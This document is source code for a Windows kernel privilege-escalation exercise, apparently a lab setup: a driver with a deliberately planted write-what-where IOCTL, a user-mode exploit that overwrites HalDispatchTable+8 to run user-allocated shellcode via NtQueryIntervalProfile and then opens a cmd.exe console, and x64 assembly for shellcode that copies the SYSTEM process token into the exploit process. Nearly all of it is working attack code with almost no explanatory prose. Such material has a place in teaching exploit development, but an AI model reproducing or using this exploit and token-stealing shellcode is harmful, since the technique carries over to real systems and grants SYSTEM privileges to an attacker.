Driver write-what-where vulnerability

#include <Ntifs.h>
#include <stdio.h>
#include <string.h>

#define ERROR(_f_, _status_) DbgPrint("\r\n[!] Error at %s() : 0x%x\r\n", _f_, _status_)
#define IOCTL_WRIT CTL_CODE(FILE_DEVICE_UNKNOWN, 0x804, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define DbgPrint(...) DbgPrintEx(DPFLTR_IHVDRIVER_ID, 0x1337, __VA_ARGS__)

typedef unsigned int DWORD;
typedef unsigned char* PBYTE;
typedef unsigned char BYTE;

//
DRIVER_UNLOAD Unload;
DRIVER_INITIALIZE DriverEntry;
DRIVER_DISPATCH handleIOCTLs;
DRIVER_DISPATCH handleIRP;
//

typedef struct
{
    PDWORD64 where;
    DWORD64 what;
} L33TNESS,
*PL33TNESS;

NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObj , PUNICODE_STRING pRegistryPath)
{
    DWORD i = 0;
    NTSTATUS status;
    UNICODE_STRING deviceName = {0}, symlinkName = {0};
    PDEVICE_OBJECT pDevice = NULL;

    pDriverObj->DriverUnload = Unload;
    DbgPrint("[ Loading.. ]\r\n");

    RtlInitUnicodeString(&deviceName, L"\\Device\\3");
    RtlInitUnicodeString(&symlinkName, L"\\DosDevices\\3");

    DbgPrint("[ Creating the device...]\n");
    IoCreateDevice(
        pDriverObj,
        0,
        &deviceName,
        FILE_DEVICE_UNKNOWN,
        FILE_DEVICE_SECURE_OPEN,
        FALSE,
        &pDevice
    );

    DbgPrint("[ Linking...]\n");
    IoCreateSymbolicLink(&symlinkName, &deviceName);

    for(; i < IRP_MJ_MAXIMUM_FUNCTION; i++)
        pDriverObj->MajorFunction[i] = handleIRP;

    pDriverObj->MajorFunction[IRP_MJ_DEVICE_CONTROL] = handleIOCTLs;
    return STATUS_SUCCESS;
}

NTSTATUS handleIRP(PDEVICE_OBJECT pDeviceObject, PIRP Irp)
{
    return STATUS_SUCCESS;
}

NTSTATUS handleIOCTLs(PDEVICE_OBJECT pDeviceObject, PIRP pIrp)
{
    PIO_STACK_LOCATION pIoStackLocation = NULL;
    PL33TNESS ptr = NULL;
    DWORD ioControlCode = 0, inputBufferLength = 0;
    PVOID inputBuffer = 0;

    pIoStackLocation = IoGetCurrentIrpStackLocation(pIrp);
    ioControlCode = pIoStackLocation->Parameters.DeviceIoControl.IoControlCode;
    inputBufferLength = pIoStackLocation->Parameters.DeviceIoControl.InputBufferLength;
    inputBuffer = pIrp->AssociatedIrp.SystemBuffer;

    switch(ioControlCode)
    {
        case IOCTL_WRIT:
        {
            if(inputBufferLength != 0 && inputBufferLength >= (sizeof(DWORD*) * 2))
            {
                ptr = (PL33TNESS)inputBuffer;

                /* DROP IT LIKE ITS HOT, DROP IT LIKE ITS HOT */
                *ptr->where = ptr->what;
            }
            else
                DbgPrint("You must supply a buffer formated like that: [@address to write][value to be writed].\n");

            break;
        }
    }

    IoCompleteRequest(pIrp, IO_NO_INCREMENT);
    return pIrp->IoStatus.Status;
}

VOID Unload(PDRIVER_OBJECT pDrivObj)
{
    DbgPrint("[ Unloading.. ]\n");
    return;
}

typedef struct {
	ULONG Version;
	pHalQuerySystemInformation HalQuerySystemInformation;
	pHalSetSystemInformation HalSetSystemInformation;
	pHalQueryBusSlots HalQueryBusSlots;
	ULONG Spare1;
	pHalExamineMBR HalExamineMBR;
#if 1 /* Not present in WDK 7600 */
	pHalIoAssignDriveLetters HalIoAssignDriveLetters;
#endif
	pHalIoReadPartitionTable HalIoReadPartitionTable;
	pHalIoSetPartitionInformation HalIoSetPartitionInformation;
	pHalIoWritePartitionTable HalIoWritePartitionTable;
	pHalHandlerForBus HalReferenceHandlerForBus;
	pHalReferenceBusHandler HalReferenceBusHandler;
	pHalReferenceBusHandler HalDereferenceBusHandler;
	pHalInitPnpDriver HalInitPnpDriver;
	pHalInitPowerManagement HalInitPowerManagement;
	pHalGetDmaAdapter HalGetDmaAdapter;
	pHalGetInterruptTranslator HalGetInterruptTranslator;
	pHalStartMirroring HalStartMirroring;
	pHalEndMirroring HalEndMirroring;
	pHalMirrorPhysicalMemory HalMirrorPhysicalMemory;
	pHalEndOfBoot HalEndOfBoot;
	pHalMirrorVerify HalMirrorVerify;
	pHalGetAcpiTable HalGetCachedAcpiTable;
	pHalSetPciErrorHandlerCallback  HalSetPciErrorHandlerCallback;
#if defined(_IA64_)
pHalGetErrorCapList HalGetErrorCapList;
	pHalInjectError HalInjectError;
#endif
} HAL_DISPATCH, *PHAL_DISPATCH;

#include <windows.h>
#include <winioctl.h>
#include <stdio.h>
#include <stdlib.h>

#define IOCTL_WRIT CTL_CODE(FILE_DEVICE_UNKNOWN, 0x804, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define DEVICE_NAME "\\\\.\\3"

typedef enum {
	SystemBasicInformation, 
	SystemProcessorInformation, 
	SystemPerformanceInformation, 
	SystemTimeOfDayInformation, 
	SystemPathInformation, 
	SystemProcessInformation, 
	SystemCallCountInformation, 
	SystemDeviceInformation, 
	SystemProcessorPerformanceInformation, 
	SystemFlagsInformation, 
	SystemCallTimeInformation, 
	SystemModuleInformation
} SYSTEM_INFORMATION_CLASS, *PSYSTEM_INFORMATION_CLASS;

typedef struct
{
    PVOID Reserved1;
    PVOID Reserved2;
    PVOID ImageBaseAddress;
    ULONG ImageSize;
    ULONG Flags;
    WORD Id;
    WORD Rank;
    WORD w018;
    WORD NameOffset;
    BYTE Name[256];
} SYSTEM_MODULE, *PSYSTEM_MODULE;

typedef struct
{
    ULONG ModulesCount;
    SYSTEM_MODULE Modules[0];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

typedef DWORD (WINAPI* _NtQuerySystemInformation)(SYSTEM_INFORMATION_CLASS, PVOID, ULONG, PULONG);
typedef DWORD (WINAPI* _NtAllocateVirtualMemory)(HANDLE, PVOID*, ULONG_PTR, PSIZE_T, ULONG, ULONG);
typedef DWORD (WINAPI* _NtQueryIntervalProfile)(DWORD, PULONG); 

typedef struct
{
    PDWORD64 where;
    DWORD64 what;
} L33TNESS,
*PL33TNESS;


BYTE shellcode[] =  "\x53\x51\x52\x57\x56\x6A\xFF\x6A\xFF\x65\x48\x8B\x14\x25\x88\x01\x00\x00\x48\x8B\x52\x70\x48\x81\xC2\x88\x01"
                    "\x00\x00\x48\x89\xD3\x48\x8B\x42\xF8\x48\x83\xF8\x04\x74\x19\x48\xB9\x41\x41\x41\x41\x41\x41\x41\x41\x48\x39"
                    "\xC8\x74\x11\x48\x8B\x12\x48\x39\xDA\x74\x31\xEB\xDD\x48\x89\x54\x24\x08\xEB\x04\x48\x89\x14\x24\x48\xC7\xC1"
                    "\xFF\xFF\xFF\xFF\x48\x39\x0C\x24\x74\xDE\x48\x39\x4C\x24\x08\x74\xD7\x5F\x5E\x48\x8B\x86\x80\x00\x00\x00\x48"
                    "\x89\x87\x80\x00\x00\x00\x5E\x5F\x5A\x59\x5B\xC3";


void replacePattern(char buffer[], int bufferSize, DWORD64 pattern, DWORD64 value) {
    BOOL found = FALSE;
    int i;
         
    for (i = 0; i < bufferSize; i++) {
        if (*(PDWORD64)(buffer + i) == pattern) {
            found = TRUE;
            *(PDWORD64)(buffer + i) = value;
        }
    }
         
    return found;
}                    

PVOID getKernelBase() {
	PVOID ntdll = NULL;
	_NtQuerySystemInformation NtQuerySystemInformation = NULL;
	DWORD sizeInfo = 0;
	DWORD error = 0;
	PSYSTEM_MODULE_INFORMATION moduleList = NULL;
	PVOID kernelBase = NULL;
	int i = 0;

	ntdll = GetModuleHandle("ntdll.dll");
    if (ntdll == NULL) {
    	printf("[-] Can't found ntdll");
    	return NULL;
    }

    NtQuerySystemInformation = GetProcAddress(ntdll, "NtQuerySystemInformation");

    NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &sizeInfo);
    if (sizeInfo == 0) {
    	printf("[-] NtQuerySystemInformation return 0 for information size\n");
    	return NULL;
    }

    moduleList = (PSYSTEM_MODULE_INFORMATION) malloc(sizeInfo);
    error = NtQuerySystemInformation(SystemModuleInformation, moduleList, sizeInfo, NULL);
    if (error != 0) {
    	printf("[-] NtQuerySystemInformation error: 0x%X (struct size: 0x%X)\n", error, sizeInfo);
    	free(moduleList);
    	return NULL;
    }

    kernelBase = moduleList->Modules[0].ImageBaseAddress;
    free(moduleList);

	return kernelBase;
}

int main()
{
    HANDLE hDevice = NULL;
    L33TNESS l33t = {0};
    DWORD byte = 0;
    PVOID ntoskrnl = NULL;
    PVOID HalDispatchTable = NULL;
    PVOID originalValue = NULL;
    PVOID kernelBase = NULL;
    DWORD error = 0;
    PVOID leetAddress = 0x1337;
    DWORD sizeofShellcode = sizeof(shellcode);
    _NtAllocateVirtualMemory NtAllocateVirtualMemory = NULL;
    _NtQueryIntervalProfile NtQueryIntervalProfile = NULL;
    PVOID KeGetCurrentThread = NULL;
    ULONG wtf = 0;
    char username[255] = {0};
    DWORD sizeofUsername = 255;
    STARTUPINFO si = {0};
    PROCESS_INFORMATION pi = {0};

    printf("[+] Search address of notskrnl.exe...\n");
    ntoskrnl = LoadLibrary("ntoskrnl.exe");
    if (ntoskrnl == NULL) {
    	printf("[-] Can't load ntoskrnl.exe\n");
    	return EXIT_FAILURE;
    }

    HalDispatchTable = GetProcAddress(ntoskrnl, "HalDispatchTable");
    if (HalDispatchTable == NULL) {
    	printf("[-] Can't found HalDispatchTable in ntoskrnl.exe\n");
    	return EXIT_FAILURE;
    }
    printf("[+] HalDispatchTable in userland: 0x%X\n", HalDispatchTable);

    kernelBase = getKernelBase();
    if (kernelBase == NULL) {
    	printf("[-] Can't find the kernel base\n");
    	return EXIT_FAILURE;
    }

    HalDispatchTable = (DWORD64) HalDispatchTable - (DWORD64) ntoskrnl + (DWORD64) kernelBase;
	printf("[+] HalDispatchTable in kernelland: 0x%X\n", HalDispatchTable);

	printf("[+] Search NtAllocateVirtualMemory...\n");
    NtAllocateVirtualMemory = (_NtAllocateVirtualMemory) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtAllocateVirtualMemory");
    if(NtAllocateVirtualMemory == NULL) {
        printf("[-] Error with GetProcAddress : %.8x\n", GetLastError());
        return EXIT_FAILURE;
    }
   
    printf("[+] Copy the shellcode...\n");
    error = NtAllocateVirtualMemory(GetCurrentProcess(), &leetAddress, NULL, &sizeofShellcode, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if(error != 0) {
        printf("[-] Error with NtAllocateVirtualMemory : %.8x\n", error);
        return EXIT_FAILURE;
    }
    replacePattern(shellcode, sizeof(shellcode), 0x4141414141414141, GetCurrentProcessId()); // Process PID
    memcpy(leetAddress, shellcode, sizeof(shellcode));

    hDevice = CreateFile(DEVICE_NAME, GENERIC_WRITE | GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if(hDevice == INVALID_HANDLE_VALUE)
    {
        printf("[-] Error with Createfile : %.8x.\n", GetLastError());
        return EXIT_FAILURE;
    }

    l33t.where = (DWORD64) HalDispatchTable + sizeof(PVOID);
    l33t.what = leetAddress;
    DeviceIoControl(hDevice, IOCTL_WRIT, &l33t, sizeof(l33t), NULL, 0, &byte, NULL);

    NtQueryIntervalProfile = GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQueryIntervalProfile");
        if (NtQueryIntervalProfile == NULL) {
    	printf("[-] Can't find NtQueryIntervalProfile\n");
    	return EXIT_FAILURE;
    }

    printf("[+] Execute NtQueryIntervalProfile\n");
    NtQueryIntervalProfile(2, &wtf);

    GetUserNameA(username, &sizeofUsername);
    printf("[+] New username: %s\n", username);

    printf("[+] Modify HalDispatchTable+0x8 to point on KeGetCurrentThread\n");
    KeGetCurrentThread = GetProcAddress(ntoskrnl, "KeGetCurrentThread");
    if (KeGetCurrentThread == NULL) {
        printf("[-] Can't found KeGetCurrentThread in ntoskrnl.exe\n");
        return EXIT_FAILURE;
    }

    printf("[+] KeGetCurrentThread in userland: 0x%X\n", KeGetCurrentThread);
    KeGetCurrentThread = (DWORD64) KeGetCurrentThread - (DWORD64) ntoskrnl + (DWORD64) kernelBase;
    printf("[+] KeGetCurrentThread in kernelland: 0x%X\n", KeGetCurrentThread);

    l33t.where = (DWORD64) HalDispatchTable + sizeof(PVOID);
    l33t.what = KeGetCurrentThread;
    DeviceIoControl(hDevice, IOCTL_WRIT, &l33t, sizeof(l33t), NULL, 0, &byte, NULL);
    CloseHandle(hDevice);

    printf("[+] Executing a new command console to test it...\n");
    si.cb = sizeof(si); 
    CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);

    return EXIT_SUCCESS;
}

format PE64 GUI 4.0

start:

; We save the registers
push rbx
push rcx
push rdx
push rdi
push rsi

;--------------------------------
; 			Stack
;--------------------------------
; RSP-8: EPROCESS+0x188 system
;--------------------------------
; RSP-4: EPROCESS+0x188 exploit
;--------------------------------
push 0xFFFFFFFFFFFFFFFF
push 0xFFFFFFFFFFFFFFFF

mov rdx, [gs:qword 0x188]   ; +0x180 PrcbData : _KPRCB | +0x008 CurrentThread : _KTHREAD			
mov rdx, [rdx + 0x70]       ; +0x050 ApcState : _KAPC_STATE | +0x020 Process : _KPROCESS
add rdx, 0x188              ; +0x188 ActiveProcessLinks : _LIST_ENTRY
mov rbx, rdx                ; Our linked list \o/ We save the first structure

searchProcess:
mov rax, [rdx - 0x8]        ; +0x180 UniqueProcessId
cmp rax, 0x4                ; SYSTEM PID
je sysProcFound
mov rcx, 0x4141414141414141 ; Our exploit PID
cmp rax, rcx                ; cmp reg64, imm64 don't exist
je exploitProcFound
 
nextProcess:
mov rdx, [rdx]              ; Next process (Flink)
cmp rdx, rbx                ; We are back at the starting point
je retApp
jmp searchProcess           ; We loop!
 
sysProcFound:
mov [rsp+8], rdx
jmp allPIDFound
 
exploitProcFound:
mov [rsp], rdx
 
allPIDFound:
mov rcx, 0xFFFFFFFFFFFFFFFF
cmp [rsp], rcx
je nextProcess
cmp [rsp+8], rcx
je nextProcess

; We copy the SYSTEM token
pop rdi ; Exploit
pop rsi ; System
mov rax, [rsi + 0x80]       ; 0x208 - 0x188 = 0x80 | +0x208 Token : _EX_FAST_REF
mov [rdi + 0x80], rax
 
retApp:
; Restore the registers
pop rsi
pop rdi
pop rdx
pop rcx
pop rbx
ret